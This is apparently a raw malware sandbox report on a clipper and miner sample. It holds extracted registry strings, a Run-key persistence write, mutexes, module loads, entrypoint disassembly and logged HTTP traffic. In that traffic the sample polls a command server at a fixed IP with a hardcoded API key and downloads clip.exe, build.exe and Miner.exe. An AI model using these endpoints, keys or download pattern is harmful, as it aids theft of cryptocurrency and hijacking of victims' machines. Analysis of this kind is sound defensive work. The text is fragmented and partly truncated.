"/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\navigate.rs" (Indicator: "/rustc/"; File: "file")45:T76e,"SYSTEM\CurrentControlSet\Control\VideoDevice DescriptionSYSTEM\CurrentControlSet\Control\TimeZoneInformationTimeZoneKeyNameControl Panel\InternationalLocaleNamex" in Source: file "Software\Microsoft\Windows\CurrentVersion\RuninstallerRun registry write:" in Source: file "HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyALL_PROXYall_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer" in Source: file "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\VideoDevice DescriptionSYSTEM\CurrentControlSet\Control\TimeZoneInformationTimeZoneKeyNameControl Panel\InternationalLocaleNamex" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\RuninstallerRun registry write:" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "SOFTWARE\Microsoft\CryptographyMachineGuidmachineGuid emptyfailed to open registry key:" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyALL_PROXYall_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "WindowsSOFTWARE\Microsoft\Windows NT\CurrentVersionCurrentBuildNumberCurrentMajorVersionNumber (" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp46:Tb13,Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\installer-guard" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\.NET CLR Data_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\.NET CLR Networking_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\.NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\.NET Data Provider for Oracle_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\.NET Data Provider for SqlServer_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\.NET Memory Cache 4.0_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\.NETFramework_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\ASP_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\ASP.NET_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\ASP.NET_2.0.50727_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\ASP.NET_4.0.30319_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\ASP.NET_64_2.0.50727_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\aspnet_state_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\BITS_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\ESENT_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\Lsa_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\MSDTC_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\MSDTC Bridge 3.0.0.0_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\MSDTC Bridge 4.0.0.0_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\MSSCNTRS_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\Outlook_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\PerfDisk_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\PerfNet_Perf_Library_Lock_PID_2bc" Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\PerfOS_Perf_Library_Lock_PID_2bc"47:T8cd,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135]48:T5af,"??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\VideoDevice DescriptionSYSTEM\CurrentControlSet\Control\TimeZoneInformationTimeZoneKeyNameControl Panel\InternationalLocaleNamex" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\RuninstallerRun registry write: " in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "SOFTWARE\Microsoft\CryptographyMachineGuidmachineGuid emptyfailed to open registry key: " in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyALL_PROXYall_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp "WindowsSOFTWARE\Microsoft\Windows NT\CurrentVersionCurrentBuildNumberCurrentMajorVersionNumber (" in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp49:T3127,"GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:09 GMT Content-Length: 71 with response body ==>5B7B226964223A3230353739322C22736C7567223A22636C6970222C226F726967696E616C5F6E616D65223A22636C69702E657865222C2273697A65223A3532....... "GET /d/clip HTTP/1.1 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Cache-Control: public max-age=86400 Content-Disposition: attachment; filename="clip.exe" Content-Length: 5223424 Content-Type: application/octet-stream Last-Modified: Tue 11 Aug 2026 10:31:24 GMT Date: Wed 12 Aug 2026 20:55:10 GMT with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /api/v1/clipper/config HTTP/1.1 accept: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:14 GMT Content-Length: 1148 with response body ==>7B2264617461223A7B22636F6E666967223A5B7B226C6162656C223A22426974636F696E222C22726567657870223A5B225E5B31335D5B612D6B6D2D7A412D48....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:17 GMT Content-Length: 73 with response body ==>5B7B226964223A3230353739332C22736C7567223A226275696C64222C226F726967696E616C5F6E616D65223A226275696C642E657865222C2273697A65223A....... "GET /d/build HTTP/1.1 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Cache-Control: public max-age=86400 Content-Disposition: attachment; filename="build.exe" Content-Length: 5568320 Content-Type: application/octet-stream Last-Modified: Tue 11 Aug 2026 15:28:06 GMT Date: Wed 12 Aug 2026 20:55:18 GMT with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /api/v1/clipper/config HTTP/1.1 accept: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:20 GMT Content-Length: 1148 with response body ==>7B2264617461223A7B22636F6E666967223A5B7B226C6162656C223A22426974636F696E222C22726567657870223A5B225E5B31335D5B612D6B6D2D7A412D48....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:22 GMT Content-Length: 71 with response body ==>5B7B226964223A3230353739342C22736C7567223A224D696E6572222C226F726967696E616C5F6E616D65223A224D696E65722E657865222C2273697A65223A....... "GET /d/Miner HTTP/1.1 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Cache-Control: public max-age=86400 Content-Disposition: attachment; filename="Miner.exe" Content-Length: 12288 Content-Type: application/octet-stream Last-Modified: Wed 12 Aug 2026 09:59:33 GMT Date: Wed 12 Aug 2026 20:55:22 GMT with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:23 GMT Content-Length: 80 with response body ==>5B7B226964223A3230353739352C22736C7567223A226275696C645F783634222C226F726967696E616C5F6E616D65223A226275696C645F7836342E65786522....... "GET /api/v1/clipper/config HTTP/1.1 accept: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:26 GMT Content-Length: 1148 with response body ==>7B2264617461223A7B22636F6E666967223A5B7B226C6162656C223A22426974636F696E222C22726567657870223A5B225E5B31335D5B612D6B6D2D7A412D48....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:26 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:27 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:28 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:29 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:30 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:31 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:32 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:33 GMT Content-Length: 2 with response body ==>5B5D....... "GET /api/v1/clipper/config HTTP/1.1 accept: application/json x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261 host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:33 GMT Content-Length: 1148 with response body ==>7B2264617461223A7B22636F6E666967223A5B7B226C6162656C223A22426974636F696E222C22726567657870223A5B225E5B31335D5B612D6B6D2D7A412D48....... "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1 x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6 accept: */* host: 87.120.104.147:8080" Response ==> HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Authorization X-API-Key X-Clipper-HWID Access-Control-Allow-Methods: GET POST PUT PATCH DELETE OPTIONS Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Wed 12 Aug 2026 20:55:34 GMT Content-Length: 2 with response body ==>5B5D.......4a:T1384,"file.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff864e10000 "file.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8836d0000 "file.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8836d0000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8836d0000 "file.exe" loaded module "RPCRT4.DLL" at base 7ff886fa0000 "file.exe" loaded module "SSPICLI.DLL" at base 7ff883340000 "file.exe" loaded module "KERNEL32.DLL" at base 7ff886ef0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\PERFOS.DLL" at base 7ff86fc50000 "file.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff881a70000 "file.exe" loaded module "NTDLL.DLL" at base 7ff8870f0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff864e10000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff886ef0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff886470000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8836d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8836d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8836d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff864630000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff886ab0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff883460000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff87ab30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff856230000 "powershell.exe" loaded module "USER32.DLL" at base 7ff886b70000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8836d0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff8646e0000 "powershell.exe" loaded module "NTDLL" at base 7ff8870f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8867a0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff8849c0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff886fa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff854c30000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff886650000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8867a0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff8848e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff853fc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff853540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff8643c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8828e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff883650000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8514d0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff8867a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff8867a0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff8870f0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff885010000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff8835f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff8835f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff884230000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff86c0f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff87ab30000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff86b800000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff884230000 "powershell.exe" loaded module "KERNEL32" at base 7ff886ef0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff851360000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\QN097087.DLL" at base 7ff867d40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff8512c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff8511500004b:T9b9,"file" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1402960b4,add rsp, 0x28,jmp 0x140295ce4,int3 ,int3 ,sub rsp, 0x28,call 0x140295e8c,neg rax,sbb eax, eax,neg eax,dec eax,add rsp, 0x28,ret ,int3 ,push rbx,sub rsp, 0x20,cmp qword ptr [rip + 0x11cda6], -1,mov rbx, rcx,jne 0x140295ea6,call 0x14028bc74,jmp 0x140295eb5,mov rdx, rbx,lea rcx, [rip + 0x11cd90],call 0x14028bbf0,xor edx, edx,test eax, eax,cmove rdx, rbx,mov rax, rdx,add rsp, 0x20," "205792_clip.exe.part" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1403057c0,add rsp, 0x28,jmp 0x1403052a4,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],sub rsp, 0x10,mov qword ptr [rsp], r10,mov qword ptr [rsp + 8], r11,xor r11, r11,lea r10, [rsp + 0x18],sub r10, rax,cmovb r10, r11,mov r11, qword ptr gs:[0x10],cmp r10, r11,jae 0x140305490,and r10w, 0xf000," "installer.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1402960b4,add rsp, 0x28,jmp 0x140295ce4,int3 ,int3 ,sub rsp, 0x28,call 0x140295e8c,neg rax,sbb eax, eax,neg eax,dec eax,add rsp, 0x28,ret ,int3 ,push rbx,sub rsp, 